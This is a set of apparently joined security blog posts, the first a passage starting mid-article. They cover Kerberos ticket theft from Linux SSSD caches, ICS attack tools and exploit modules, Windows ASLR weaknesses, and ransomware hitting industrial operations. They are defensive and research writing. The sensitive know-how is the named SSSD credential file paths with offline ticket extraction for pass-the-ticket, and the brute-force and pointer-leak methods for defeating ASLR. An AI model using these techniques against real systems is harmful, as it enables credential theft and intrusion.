#### Short Example of Kerberos Authentication in Active Directory

To illustrate how Kerberos works, we have selected a common scenario where a user John Smith with the account ACMENET.CORP\sa_jsmith wishes to authenticate to a Windows SMB (CIFS) file share in the Acme Corporation domain, hosted on the server SQLSERVER.ACMENET.CORP.

There are two main types of Kerberos tickets used in Active Directory: Ticket Granting Ticket (TGT) and service tickets. Service tickets are obtained from the Ticket Granting Service (TGS). The TGT is used to authenticate the identity of a particular entity in Active Directory, such as a user account. Service tickets are used to authenticate a user to a specific service hosted on a system. A valid TGT can be used to request service tickets from the Key Distribution Center (KDC). In Active Directory environments, the KDC is hosted on a Domain Controller.

The diagram in Figure 1 shows the authentication flow.

Figure 1: Example Kerberos authentication flow

In summary:

1. The user requests a Ticket Granting Ticket (TGT) from the Domain Controller.
2. Once granted, the user passes the TGT back to the Domain Controller and requests a service ticket for cifs/SQLSERVER.ACMENET.CORP.
3. After the Domain Controller validates the request, a service ticket is issued that will authenticate the user to the CIFS (SMB) service on SQLSERVER.ACMENET.CORP.
4. The user receives the service ticket from the Domain Controller and initiates an SMB negotiation with SQLSERVER.ACMENET.CORP. During the authentication process, the user provides a Kerberos blob inside an “AP-REQ” structure that includes the service ticket previously obtained.
5. The server validates the service ticket and authenticates the user.
6. If the server determines that the user has permissions to access the share, the user can begin making SMB queries.

For an in-depth example of how Kerberos authentication works, scroll down to view the appendix at the bottom of this article.

#### Kerberos On Linux Domain-Joined Systems

When a Linux system is joined to an Active Directory domain, it also needs to use Kerberos tickets to access services on the Windows Active Directory domain. Linux uses a different Kerberos implementation. Instead of Windows formatted tickets (commonly referred to as the KIRBI format), Linux uses MIT format Kerberos Credential Caches (CCACHE files).

When a user on a Linux system wants to access a remote service with Kerberos, such as a file share, the same procedure is used to request the TGT and corresponding service ticket. In older, more traditional implementations, Linux systems often stored credential cache files in the /tmp directory. Although the files are locked down and not world-readable, a malicious user with root access to the Linux system could trivially obtain a copy of the Kerberos tickets and reuse them.

On modern versions of Red Hat Enterprise Linux and derivative distributions, the System Security Services Daemon (SSSD) is used to manage Kerberos tickets on domain-joined systems. SSSD implements its own form of Kerberos Cache Manager (KCM) and encrypts tickets within a database on the system. When a user needs access to a TGT or service ticket, the ticket is retrieved from the database, decrypted, and then passed to the remote service (for more on SSSD, check out this great research from Portcullis Labs).

By default, SSSD maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb. The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey. By default, the key is only readable if you have root permissions.

If a user is able to extract both of these files, it is possible to decrypt the files offline and obtain valid Kerberos tickets. We have published a new tool called SSSDKCMExtractor that will decrypt relevant secrets in the SSSD database and pull out  the credential cache Kerberos blob. This blob can be converted into a usable Kerberos CCache file that can be passed to other tools, such as Mimikatz, Impacket, and smbclient. CCache files can be converted into Windows format using tools such as Kekeo.

We leave it as an exercise to the reader to convert the decrypted Kerberos blob into a usable credential cache file for pass-the-cache and pass-the-ticket operations.

Using SSSDKCMExtractor is simple. An example SSSD KCM database and key are shown in Figure 2.

Figure 2: SSSD KCM files

Invoking SSSDKCMExtractor with the --database and --key parameters will parse the database and decrypt the secrets as shown in Figure 3.

Figure 3: Extracting Kerberos data

# Monitoring ICS Cyber Operation Tools and Software Exploit Modules To Anticipate Future Threats

There has only been a small number of broadly documented cyber attacks targeting operational technologies (OT) / industrial control systems (ICS) over the last decade. While fewer attacks is clearly a good thing, the lack of an adequate sample size to determine risk thresholds can make it difficult for defenders to understand the threat environment, prioritize security efforts, and justify resource allocation.

To address this problem, FireEye Mandiant Threat Intelligence produces a range of reports for subscription customers that focus on different indicators to predict future threats. Insights from activity on dark web forums, anecdotes from the field, ICS vulnerability research, and proof of concept research makes it possible to illustrate the threat landscape even with limited incident data. This blog post focuses on one of those source sets—ICS-oriented intrusion and attack tools, which will be referred to together in this post as cyber operation tools.

ICS-oriented cyber operation tools refer to hardware and software that has the capability to either exploit weaknesses in ICS, or interact with the equipment in such a way that could be utilized by threat actors to support intrusions or attacks. For this blog post, we separated exploit modules that are developed to run on top of frameworks such as Metasploit, Core Impact, or Immunity Canvas from other cyber operation tools due to their exceedingly high number.

#### Cyber Operation Tools Reduce the Level of Specialized Knowledge Attackers Need to Target ICS

As ICS are a distinct sub-domain to information and computer technology, successful intrusions and attacks against these systems often requires specialized knowledge, establishing a higher threshold for successful attacks. Since intrusion and attack tools are often developed by someone who already has the expertise, these tools can help threat actors bypass the need for gaining some of this expertise themselves, or it can help them gain the requisite knowledge more quickly. Alternatively, experienced actors may resort to using known tools and exploits to conceal their identity or maximize their budget.

Figure 1: ICS attacker knowledge curve

The development and subsequent adoption of standardized cyber operation tools is a general indication of increasing adversarial capability. Whether these tools were developed by researchers as proof-of-concept or utilized during past incidents, access to them lowers the barrier for a variety of actors to learn and develop future skills or custom attack frameworks. Following this premise, equipment that is vulnerable to exploits using known cyber operation tools becomes low-hanging fruit for all sorts of attackers.

#### ICS Cyber Operation Tool Classification

Mandiant Intelligence tracks a large number of publicly available ICS-specific cyber operation tools. The term "ICS-specific," as we employ it, does not have a hard-edged definition. While the vast majority of cyber operation tools we track are clear-cut cases, we have, in some instances, considered the intent of the tool's creator(s) and the tool's reasonably foreseeable impact on ICS software and equipment. Note, we excluded tools that are IT-based but may affect OT systems, such as commodity malware or known network utilities.  We included only a few exceptions, where we identified specialized adaptations or features that enabled the tool to interact with ICS, such as the case of nmap scripts.

We assigned each tool to at least one of eight different categories or classes, based on functionality.

Table 1: Classes of ICS-specific intrusion and attack tools

While some of the tools included in our list were created as early as 2004, most of the development has taken place during the last 10 years. The majority of the tools are also vendor agnostic, or developed to target products from some of the largest ICS original equipment manufacturers (OEM). Siemens stands out in this area, with 60 percent of the vendor-specific tools potentially targeting its products. Other tools we identified were developed to target products from Schneider Electric, GE, ABB, Digi International, Rockwell Automation, and Wind River Systems.

Figure 2 depicts the number of tools by class. Of note, network discovery tools make up more than a quarter of the tools. We also highlight that in some cases, the software exploitation tools we track host extended repositories of modules to target specific products or vulnerabilities.

Figure 2: ICS-specific intrusion and attack tools by class

#### Software Exploit Modules

Software exploit modules are the most numerous subcomponents of cyber operation tools given their overall simplicity and accessibility. Most frequently, exploit modules are developed to take advantage of a specific vulnerability and automate the exploitation process. The module is then added to an exploit framework. The framework works as a repository that may contain hundreds of modules for targeting a wide variety of vulnerabilities, networks, and devices. The most popular frameworks include Metasploit, Core Impact, and Immunity Canvas. Also, since 2017, we have identified the development of younger ICS-specific exploit frameworks such as AutosploitIndustrial Exploitation Framework (ICSSPLOIT), and the Industrial Security Exploitation Framework.

Given the simplicity and accessibility of exploit modules, they are attractive to actors with a variety of skill levels. Even less sophisticated actors may take advantage of an exploit module without completely understanding how a vulnerability works or knowing each of the commands required to exploit it. We note that, although most of the exploit modules we track were likely developed for research and penetration testing, they could also be utilized throughout the attack lifecycle.

Exploit Modules Statistics

Since 2010, Mandiant Intelligence has tracked exploit modules for the three major exploitation frameworks: Metasploit, Core Impact, and Immunity Canvas. We currently track hundreds of ICS-specific exploit modules related to more than 500 total vulnerabilities, 71 percent of them being potential zero-days. The break down is depicted in Figure 3. Immunity Canvas currently has the most exploits due in large part to the efforts of Russian security research firm GLEG.

Figure 3: ICS exploit modules by framework

Metasploit framework exploit modules deserve particular attention. Even though it has the fewest number of modules, Metasploit is freely available and broadly used for IT penetration testing, while Core Impact and Immunity Canvas are both commercial tools. This makes Metasploit the most accessible of the three frameworks. However, it means that module development and maintenance are provided by the community, which is likely contributing to the lower number of modules.

It is also worthwhile to examine the number of exploit modules by ICS product vendor. The results of this analysis are depicted in Figure 4, which displays vendors with the highest number of exploit modules (over 10).

Figure 4: Vendors with 10 exploit modules or more

Figure 4 does not necessarily indicate which vendors are the most targeted, but which products have received the most attention from exploit writers. Several factors could contribute to this, including the availability of software to experiment with, general ease of writing an exploit on particular vulnerabilities, or how the vulnerability matches against the expertise of the exploit writers.

Some of the vendors included in the graph have been acquired by other companies, however we tracked them separately as the vulnerability was identified prior to the acquisition. One example of this is Schneider Electric, which acquired 7-Technologies in 2011 and altered the names of their product portfolio. We also highlight that the graph solely counts exploit modules, regardless of the vulnerability exploited. Modules from separate frameworks could target the same vulnerability and would each be counted separately.

#### ICS Cyber Operation Tools and Software Exploitation Frameworks Bridge Knowledge and Expertise Gaps

ICS-specific cyber operation tools often released by researchers and security practitioners are useful assets to help organizations learn about ongoing threats and product vulnerabilities. However, as anything publicly available, they can also lower the bar for threat actors that hold an interest in targeting OT networks. Although successful attacks against OT environments will normally require a high level of skills and expertise from threat actors, the tools and exploit modules discussed in this post are making it easier to bridge the knowledge gap.

Awareness about the proliferation of ICS cyber operation tools should serve as an important risk indicator of the evolving threat landscape. These tools provide defenders with an opportunity to perform risk assessments in test environments and to leverage aggregated data to communicate and obtain support from company executives. Organizations that do not pay attention to available ICS cyber operation tools risk becoming low-hanging fruit for both sophisticated and unexperienced threat actors exploring new capabilities.

Overcoming address space layout randomization (ASLR) is a precondition of virtually all modern memory corruption vulnerabilities. Breaking ASLR is an area of active research and can get incredibly complicated. This blog post presents some basic facts about ASLR, focusing on the Windows implementation. In addition to covering what ASLR accomplishes to improve security posture, we aim to give defenders advice on how to improve the security of their software, and to give researchers more insight into how ASLR works and ideas for investigating its limitations.

Memory corruption vulnerabilities occur when a program mistakenly writes attacker-controlled data outside of an intended memory region or outside intended memory’s scope. This may crash the program, or worse, provide the attacker full control over the system. Memory corruption vulnerabilities have plagued software for decades, despite efforts by large companies like Apple, Google, and Microsoft to eradicate them.

Since these bugs are hard to find and just one can compromise a system, security professionals have designed failsafe mechanisms to thwart software exploitation and limit the damage should a memory corruption bug be exploited. A “silver bullet” would be a mechanism to make exploits so tricky and unreliable that buggy code can be left in place, giving developers the years they need to fix or rewrite code in memory-safe languages. Unfortunately, nothing is perfect, but address space layout randomization (ASLR) is one of the best mitigations available.

ASLR works by breaking assumptions that developers could otherwise make about where programs and libraries would lie in memory at runtime. A common example is the locations of gadgets used in return-oriented programming (ROP), which is often used to defeat the defense of data execution prevention (DEP). ASLR mixes up the address space of the vulnerable process—the main program, its dynamic libraries, the stack and heap, memory-mapped files, and so on—so that exploit payloads must be uniquely tailored to however the address space of the victim process is laid out at the time. Writing a worm that propagates by blindly sending a memory corruption exploit with hard-coded memory addresses to every machine it can find is bound to fail. So long as the target process has ASLR enabled, the exploit’s memory offsets will be different than what ASLR has selected. This crashes the vulnerable program rather than exploiting it.

##### Fact 1: ASLR was introduced in Windows Vista. Pre-Vista versions of Windows lacked ASLR; worse, they went to great lengths to maintain a consistent address space across all processes and machines.

Windows Vista and Windows Server 2008 were the first releases to feature support for ASLR for compatible executables and libraries. One might assume that prior versions simply didn’t randomize the address space, and instead simply loaded DLLs at whatever location was convenient at the time—perhaps a predictable one, but not necessarily the same between two processes or machines. Unfortunately, these old Windows versions instead went out of their way to achieve what we’ll call “Address Space Layout Consistency”. Table 1 shows the “preferred base address” of some core DLLs of Windows XP Service Pack 3.

 DLL Preferred Base Address ntdll 0x7c900000 kernel32 0x7c800000 user32 0x7e410000 gdi32 0x77f10000

Table 1: Windows DLLs contain a preferred base address used whenever possible if ASLR is not in place

When creating a process, pre-Vista Windows loads each of the program’s needed DLLs at its preferred base address if possible. If an attacker finds a useful ROP gadget in ntdll at 0x7c90beef, for example, the attacker can assume that it will always be available at that address until a future service pack or security patch requires the DLLs to be reorganized. This means that attacks on pre-Vista Windows can chain together ROP gadgets from common DLLs to disable DEP, the lone memory corruption defense on those releases.

Why did Windows need to support preferred base addresses? The answer lies in performance and in trade-offs made in the design of Windows DLLs versus other designs like ELF shared libraries. Windows DLLs are not position independent. Especially on 32-bit machines, if Windows DLL code needs to reference a global variable, the runtime address of that variable gets hardcoded into the machine code. If the DLL gets loaded at a different address than was expected, relocation is performed to fix up such hardcoded references. If the DLL instead gets loaded as its preferred base address, no relocation is necessary, and the DLL’s code can be directly mapped into memory from the file system.

Takeaway 1.1: Windows XP and Windows Server 2003 and earlier do not support ASLR.

Clearly, these versions have been out of support for years and should be long gone from production use. The more important observation relates to software developers who support both legacy and modern Windows versions. They may not realize that the exact same program can be more secure or less secure depending on what OS version is running. Developers who (still!) have a customer base of mixed ASLR and non-ASLR supporting Windows versions should respond to CVE reports accordingly. The exact same bug might appear non-exploitable on Windows 10 but be trivially exploitable on Windows XP. The same applies to Windows 10 versus Windows 8.1 or 7, as ASLR has become more capable with each version.

Legacy software may still be maintained with old tools such as Microsoft Visual C++ 6. These development tools contain outdated documentation about the role and importance of preferred load addresses. Since these old tools cannot mark images as ASLR-compatible, a “lazy” developer who doesn’t bother to change the default DLL address is actually better off since a conflict will force the image to be rebased to an unpredictable location!

##### Fact 2: Windows loads multiple instances of images at the same location across processes and even across users; only rebooting can guarantee a fresh random base address for all images.

Since Windows DLLs do not use position-independent code, the only way their code can be shared between processes is to always be loaded at the same address. To accomplish this, the kernel picks an address (0x78000000 for example on 32-bit system) and begins loading DLLs at randomized addresses just below it. If a process loads a DLL that was used recently, the system may just re-use the previously chosen address and therefore re-use the previous copy of that DLL in memory. The implementation solves the issues of providing each DLL a random address and ensuring DLLs don’t overlap at the same time.

For EXEs, there is no concern about two EXEs overlapping since they would never be loaded into the same process. There would be nothing wrong with loading the first instance of an EXE at 0x400000 and the second instance at 0x500000, even if the image is larger than 0x100000 bytes. Windows just chooses to share code among multiple instances of a given EXE.

Takeaway 2.1: Any Windows program that automatically restarts after crashing is especially susceptible to brute force attacks to overcome ASLR.

Consider a program that a remote attacker can execute on demand, such as a CGI program, or a connection handler that executes only when needed by a super-server (as in inetd, for example). A Windows service paired with a watchdog that restarts the service when it crashes is another possibility. An attacker can use knowledge of how Windows ASLR works to exhaust the possible base addresses where the EXE could be loaded. If the program crashes and (1) another copy of the program remains in memory, or (2) the program restarts quickly and, as is sometimes possible, receives the same ASLR base address, the attacker can assume that the new instance will still be loaded at the same address, and the attacker will eventually try that same address.

Takeaway 2.2: If an attacker can discover where a DLL is loaded in any process, the attacker knows where it is loaded in all processes.

Consider a system running two buggy network services—one that leaks pointer values in a debug message but has no buffer overflows, and one that has a buffer overflow but does not leak pointers. If the leaky program reveals the base address of kernel32.dll and the attacker knows some useful ROP gadgets in that DLL, then the same memory offsets can be used to attack the program containing the overflow. Thus, seemingly unrelated vulnerable programs can be chained together to first overcome ASLR and then launch an exploit.

Takeaway 2.3: A low-privileged account can be used to overcome ASLR as the first step of a privilege escalation exploit.

Suppose a background service exposes a named pipe only accessible to local users and has a buffer overflow. To determine the base address of the main program and DLLs for that process, an attacker can simply launch another copy in a debugger. The offsets determined from the debugger can then be used to develop a payload to exploit the high-privileged process. This occurs because Windows does not attempt to isolate users from each other when it comes to protecting random base addresses of EXEs and DLLs.

##### Fact 3: Recompiling a 32-bit program to a 64-bit one makes ASLR more effective.

Even though 64-bit releases of Windows have been mainstream for a decade or more, 32-bit user space applications remain common. Some programs have a true need to maintain compatibility with third-party plugins, as in the case of web browsers. Other times, development teams have a belief that a program needs far less than 4 GB of memory and 32-bit code could therefore be more space efficient. Even Visual Studio remained a 32-bit application for some time after it supported building 64-bit applications.

In fact, switching from 32-bit to 64-bit code produces a small but observable security benefit. The reason is that the ability to randomize 32-bit addresses is limited. To understand why, observe how a 32-bit x86 memory address is broken down in Figure 1. More details are explained at Physical Address Extension.

Figure 1: Memory addresses are divided into components, only some of which can be easily randomized at runtime

The operating system cannot simply randomize arbitrary bits of the address. Randomizing the offset within a page portion (bits 0 through 11) would break assumptions the program makes about data alignment. The page directory pointer (bits 30 and 31) cannot change because bit 31 is reserved for the kernel, and bit 30 is used by Physical Address Extension as a bank switching technique to address more than 2GB of RAM. This leaves 14 bits of the 32-bit address off-limits for randomization.

In fact, Windows only attempts to randomize 8 bits of a 32-bit address. Those are bits 16 through 23, affecting only the page directory entry and page table entry portion of the address. As a result, in a brute force situation, an attacker can potentially guess the base address of an EXE in 256 guesses.

When applying ASLR to a 64-bit binary, Windows is able to randomize 17-19 bits of the address (depending on whether it is a DLL or EXE). Figure 2 shows how the number of possible base addresses, and accordingly the number of brute force guesses needed, increases dramatically for 64-bit code. This could allow endpoint protection software or a system administrator to detect an attack before it succeeds.

Figure 2: Recompiling 32-bit code as 64-bit dramatically increases the number of possible base addresses for selection by ASLR

Takeaway 3.1: Software that must process untrusted data should always be compiled as 64-bit, even if it does not need to use a lot of memory, to take maximum advantage of ASLR.

In a brute force attack, ASLR makes attacking a 64-bit program at least 512 times harder than attacking the 32-bit version of the exact same program.

Takeaway 3.2: Even 64-bit ASLR is susceptible to brute force attacks, and defenders must focus on detecting brute force attacks or avoiding situations where they are feasible.

Suppose an attacker can make ten brute force attempts per second against a vulnerable system. In the common case of the target process remaining at the same address because multiple instances are running, the attacker would discover the base address of a 32-bit program in less than one minute, and of a 64-bit program in a few hours. A 64-bit brute force attack would produce much more noise, but the administrator or security software would need to notice and act on it. In addition to using 64-bit software to make ASLR more effective, systems should avoid re-spawning a crashing process (to avoid giving the attacker a “second bite at the apple” to discover the base address) or force a reboot and therefore guaranteed fresh address space after a process crashes more than a handful of times.

Takeaway 3.3: Researchers developing a proof of concept attack against a program available in both 32-bit and 64-bit versions should focus on the 32-bit one first.

As long as 32-bit software remains relevant, a proof-of-concept attack against the 32-bit variant of a program is likely easier and quicker to develop. The resulting attack could be more feasible and convincing, leading the vendor to patch the program sooner.

##### Fact 4: Windows 10 reuses randomized base addresses more aggressively than Windows 7, and this could make it weaker in some situations.

Observe that even if a Windows system must ensure that multiple instances of one DLL or EXE all get loaded at the same base address, the system need not keep track of the base address once the last instance of the DLL or EXE is unloaded. If the DLL or EXE is loaded again, it can get a fresh base address.

This is the behavior we observed in working with Windows 7. Windows 10 can work differently. Even after the last instance of a DLL or EXE unloads, it may maintain the same base address at least for a short period of time—more so for EXEs than DLLs. This can be observed when repeatedly launching a command-line utility under a multi-process debugger. However, if the utility is copied to a new filename and then launched, it receives a fresh base address. Likewise, if a sufficient duration has passed, the utility will load at a different base address. Rebooting, of course, generates fresh base addresses for all DLLs and EXEs.

Takeaway 4.1: Make no assumptions about Windows ASLR guarantees beyond per-boot randomization.

In particular, do not rely on the behavior of Windows 7 in randomizing a fresh address space whenever the first instance of a given EXE or DLL loads. Do not assume that Windows inherently protects against brute force attacks against ASLR in any way, especially for 32-bit processes where brute force attacks can take 256 or fewer guesses.

##### Fact 5: Windows 10 is more aggressive at applying ASLR, and even to EXEs and DLLs not marked as ASLR-compatible, and this could make ASLR stronger.

Windows Vista and 7 were the first two releases to support ASLR, and therefore made some trade-offs in favor of compatibility. Specifically, these older implementations would not apply ASLR to an image not marked as ASLR-compatible and would not allow ASLR to push addresses above the 4 GB boundary. If an image did not opt in to ASLR, these Windows versions would continue to use the preferred base address.

It is possible to further harden Windows 7 using Microsoft’s Enhanced Mitigation Experience Toolkit (commonly known as EMET) to more aggressively apply ASLR even to images not marked as ASLR-compatible. Windows 8 introduced more features to apply ASLR to non-ASLR-compatible images, to better randomize heap allocations, and to increase the number of bits of entropy for 64-bit images.

Takeaway 5.1: Ensure software projects are using the correct linker flags to opt in to the most aggressive implementation of ASLR, and that they are not using any linker flags that weaken ASLR.

See Table 2. Linker flags can affect how ASLR is applied to an image. Note that for Visual Studio 2012 and later, the ✔️flags are already enabled by default and the best ASLR implementation will be used so long as no 🚫flags are used. Developers using Visual Studio 2010 or earlier, presumably for compatibility reasons, need to check which flags the linker supports and which it enables by default.

 Secure? Linker Flag Effect ✔️ /DYNAMICBASE Marks the image as ASLR-compatible ✔️ /LARGEADDRESSAWARE /HIGHENTROPYVA Marks the 64-bit image as free of pointer truncation bugs and therefore allows ASLR to randomize addresses beyond 4 GB 🚫 /DYNAMICBASE:NO “Politely requests” that ASLR not be applied by not marking the image as ASLR-compatible. Depending on the Windows version and hardening settings, Windows might apply ASLR anyway. 🚫 /HIGHENTROPYVA:NO Opts out 64-bit images from ASLR randomizing addresses beyond 4 GB on Windows 8 and later (to avoid compatibility issues). 🚫 /FIXED Removes information from the image that Windows needs in order to apply ASLR, blocking ASLR from ever being applied.

Table 2: Linker flags can affect how ASLR is applied to an image

Takeaway 5.2: Enable mandatory ASLR and bottom-up randomization.

Windows 8 and 10 contain optional features to forcibly enable ASLR on images not marked as ASLR compatible, and to randomize virtual memory allocations so that rebased images obtain a random base address. This is useful in the case where an EXE is ASLR compatible, but one of the DLLs it uses is not. Defenders should enable these features to apply ASLR more broadly, and importantly, to help discover any remaining non-ASLR-compatible software so it can be upgraded or replaced.

##### Fact 6: ASLR relocates entire executable images as a unit.

ASLR relocates executable images by picking a random offset and applying it to all addresses within an image that would otherwise be relative to its base address. That is to say:

• If two functions in an EXE are at addresses 0x401000 and 0x401100, they will remain 0x100 bytes apart even after the image is relocated. Clearly this is important due to the prevalence of relative call and jmp instructions in x86 code. Similarly, the function at 0x401000 will remain 0x1000 bytes from the base address of the image, wherever it may be.
• Likewise, if two static or global variables are adjacent in the image, they will remain adjacent after ASLR is applied.
• Conversely, stack and heap variables and memory-mapped files are not part of the image and can be randomized at will without regard to what base address was picked.

Takeaway 6.1: A leak of just one pointer within an executable image can expose the randomized addresses of the entire image.

One of the biggest limitations and annoyances of ASLR is that seemingly innocuous features such as a debug log message or stack trace that leak a pointer in the image become security bugs.  If the attacker has a copy of the same program or DLL and can trigger it to produce the same leak, they can calculate the difference between the ASLR and pre-ASLR pointer to determine the ASLR offset. Then, the attacker can apply that offset to every pointer in their attack payload in order to overcome ASLR. Defenders should train software developers about pointer disclosure vulnerabilities so that they realize the gravity of this issue, and also regularly assess software for these vulnerabilities as part of the software development lifecycle.

Takeaway 6.2: Some types of memory corruption vulnerabilities simply lie outside the bounds of what ASLR can protect.

Not all memory corruption vulnerabilities need to directly achieve remote code execution. Consider a program that contains a buffer variable to receive untrusted data from the network, and a flag variable that lies immediately after it in memory. The flag variable contains bits specifying whether a user is logged in and whether the user is an administrator. If the program writes data beyond the end of the receive buffer, the “flags” variable gets overwritten and an attacker could set both the logged-in and is-admin flags. Because the attacker does not need to know or write any memory addresses, ASLR does not thwart the attack. Only if another hardening technique (such as compiler hardening flags) reordered variables, or better, moved the location of every variable in the program independently, would such attacks be blocked.

#### Conclusion

Address space layout randomization is a core defense against memory corruption exploits. This post covers some history of ASLR as implemented on Windows, and also explores some capabilities and limitations of the Windows implementation. In reviewing this post, defenders gain insight on how to build a program to best take advantage of ASLR and other features available in Windows to more aggressively apply it. Attackers can leverage ASLR limitations, such as address space randomization applying only per boot and randomization relocating the entire image as one unit, to overcome ASLR using brute force and pointer leak attacks.

# Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT

Since at least 2017, there has been a significant increase in public disclosures of ransomware incidents impacting industrial production and critical infrastructure organizations. Well-known ransomware families like WannaCry, LockerGoga, MegaCortex, Ryuk, Maze, and now SNAKEHOSE (a.k.a. Snake / Ekans), have cost victims across a variety of industry verticals many millions of dollars in ransom and collateral costs. These incidents have also resulted in significant disruptions and delays to the physical processes that enable organizations to produce and deliver goods and services.

While lots of information has been shared about the victims and immediate impacts of industrial sector ransomware distribution operations, the public discourse continues to miss the big picture. As financial crime actors have evolved their tactics from opportunistic to post-compromise ransomware deployment, we have observed an increase in adversaries’ internal reconnaissance that enables them to target systems that are vital to support the chain of production. As a result, ransomware infections—either affecting critical assets in corporate networks or reaching computers in OT networks—often result in the same outcome: insufficient or late supply of end products or services.

Truly understanding the unique nuances of industrial sector ransomware distribution operations requires a combination of skillsets and visibility across both IT and OT systems. Using examples derived from our consulting engagements and threat research, we will explain how the shift to post-compromise ransomware operations is fueling adversaries’ ability to disrupt industrial operations.

#### Industrial Sector Ransomware Distribution Poses Increasing Risk as Actors Move to Post-Compromise Deployment

The traditional approach to ransomware attacks predominantly relies on a “shotgun” methodology that consists of indiscriminate campaigns spreading malware to encrypt files and data from a variety of victims. Actors following this model will extort victims for an average of $500 to$1,000 USD and hope to receive payments from as many individuals as possible. While early ransomware campaigns adopting this approach were often considered out of scope for OT security, recent campaigns targeting entire industrial and critical infrastructure organizations have moved toward adopting a more operationally complex post-compromise approach.

In post-compromise ransomware incidents, a threat actor may still often rely on broadly distributed malware to obtain their initial access to a victim environment, but once on a network they will focus on gaining privileged access so they can explore the target networks and identify critical systems before deploying the ransomware. This approach also makes it possible for the attacker to disable security processes that would normally be enough to detect known ransomware indicators or behaviors. Actors cast wider nets that may impact critical systems, which  expand the scale and effectiveness of their end-stage operations by inflicting maximum pain on the victim. As a result, they are better positioned to negotiate and can often demand much higher ransoms—which are commonly commensurate with the victims’ perceived ability to pay and the value of the ransomed assets themselves. For more information, including technical detail, on similar activity, see our recent blog posts on FIN6 and TEMP.MixMaster.

Figure 1: Comparison of indiscriminate vs. post-compromise ransomware approaches

Historical incidents involving the opportunistic deployment of ransomware have often been limited to impacting individual computers, which occasionally included OT intermediary systems that were either internet-accessible, poorly segmented, or exposed to infected portable media. In 2017, we also observed campaigns such as NotPetya and BadRabbit, where wiper malware with worm-like capabilities were released to disrupt organizations while masquerading as ransomware. While these types of campaigns pose a threat to industrial production, the adoption of post-compromise deployment presents three major twists in the plot.

• As threat actors tailor their attacks to target specific industries or organizations, companies with high-availability requirements (e.g., public utilities, hospitals, and industrial manufacturing) and perceived abilities to pay ransoms (e.g., higher revenue companies) become prime targets. This represents an expansion of financial crime actors’ targeting of industries that process directly marketable information (e.g., credit card numbers or customer data) to include the monetization of production environments.
• As threat actors perform internal reconnaissance and move laterally across target networks before deploying ransomware, they are now better positioned to cast wide nets that impact the target’s most critical assets and negotiate from a privileged position.
• Most importantly, many of the tactics, techniques, and procedures (TTPs) often used by financial actors in the past, resemble those employed by high-skilled actors across the initial and middle stages of the attack lifecycle of past OT security incidents. Therefore, financial crime actors are likely capable of pivoting to and deploying ransomware in OT intermediary systems to further disrupt operations.

#### Organized Financial Crime Actors Have Demonstrated an Ability to Disrupt OT Assets

An actor’s capability to obtain financial benefits from post-compromise ransomware deployment depends on many factors, one of which is the ability to disrupt systems that are the most relevant to the core mission of the victim organizations. As a result, we can expect mature actors to gradually broaden their selection from only IT and business processes, to also OT assets monitoring and controlling physical processes. This is apparent in ransomware families such as SNAKEHOSE, which was designed to execute its payload only after stopping a series of processes that included some industrial software from vendors such as General Electric and Honeywell. At first glance, the SNAKEHOSE kill list appeared to be specifically tailored to OT environments due to the relatively small number of processes (yet high number of OT-related processes) identified with automated tools for initial triage. However, after manually extracting the list from the function that was terminating the processes, we determined that the kill list utilized by SNAKEHOSE actually targets over 1,000 processes.

In fact, we have observed very similar process kill lists deployed alongside samples from other ransomware families, including LockerGoga, MegaCortex, and Maze. Not surprisingly, all of these code families have been associated with high-profile incidents impacting industrial organizations for the past two years. The earliest kill list containing OT processes we identified was a batch script deployed alongside LockerGoga in January 2019. The list is very similar to those used later in MegaCortex incidents, albeit with notable exceptions, such as an apparent typo on an OT-related process that is not present in our SNAKEHOSE or MegaCortex samples: “proficyclient.exe4”. The absence of this typo in the SNAKEHOSE and MegaCortex samples could indicate that one of these malware authors identified and corrected the error when initially copying the OT-processes from the LockerGoga list, or that the LockerGoga author failed to properly incorporate the processes from some theoretical common source of origin, such as a dark web post.

Figure 2: ‘proficyclient.exe’ spelling in kill lists deployed with LockerGoga (left) and SNAKEHOSE (right)

Regardless of which ransomware family first employed the OT-related processes in a kill list or where the malware authors acquired the list, the seeming ubiquity of this list across malware families suggests that the list itself is more noteworthy than any individual malware family that has implemented it. While the OT processes identified in these lists may simply represent the coincidental output of automated process collection from target environments and not a targeted effort to impact OT, the existence of this list provides financial crime actors opportunities to disrupt OT systems. Furthermore, we expect that as financially motivated threat actors continue to impact industrial sector organizations, become more familiar with OT, and identify dependencies across IT and OT systems, they will develop capabilities—and potentially intent—to disrupt other systems and environments running industrial software products and technology.

#### Ransomware Deployments in Both IT and OT Systems Have Impacted Industrial Production

As a result of adversaries’ post-compromise strategy and increased awareness of industrial sector targets, ransomware incidents have effectively impacted industrial production regardless of whether the malware was deployed in IT or OT. Ransomware incidents encrypting data from servers and computers in corporate networks have resulted in direct or indirect disruptions to physical production processes overseen by OT networks. This has caused insufficient or late supply of end products or services, representing long-term financial losses in the form of missed business opportunities, costs for incident response, regulatory fines, reputational damage, and sometimes even paid ransoms. In certain sectors, such as utilities and public services, high availability is also critical to societal well-being.

The best-known example of ransomware impacting industrial production due to an IT network infection is Norsk Hydro’s incident from March 2019, where disruptions to Business Process Management Systems (BPMS) forced multiple sites to shut down automation operations. Among other collateral damage, the ransomware interrupted communication between IT systems that are commonly used to manage resources across the production chain. Interruptions to these flows of information containing for example product inventories, forced employees to identify manual alternatives to handle more than 6,500 stock-keeping units and 4,000 shelves. FireEye Mandiant has responded to at least one similar case where TrickBot was used to deploy Ryuk ransomware at an oil rig manufacturer. While the infection happened only on corporate networks, the biggest business impact was caused by disruptions of Oracle ERP software driving the company temporarily offline and negatively affecting production.

Ransomware may result in similar outcomes when it reaches IT-based assets in OT networks, for example human-machine interfaces (HMIs), supervisory control and data acquisition (SCADA) software, and engineering workstations. Most of this equipment relies on commodity software and standard operating systems that are vulnerable to a variety of IT threats. Mandiant Intelligence is aware of at least one incident in which an industrial facility suffered a plant shutdown due to a large-scale ransomware attack, based on sensitive sources. The facility's network was improperly segmented, which allowed the malware to propagate from the corporate network into the OT network, where it encrypted servers, HMIs, workstations, and backups. The facility had to reach out to multiple vendors to retrieve backups, many of which were decades old, which delayed complete restoration of production.

As recently as February 2020, the Cybersecurity Infrastructure and Security Agency (CISA) released Alert AA20-049A describing how a post-compromise ransomware incident had affected control and communication assets on the OT network of a natural gas compression facility. Impacts to HMIs, data historians, and polling servers resulted in loss of availability and loss of view for human operators. This prompted an intentional shut down of operations that lasted two days.

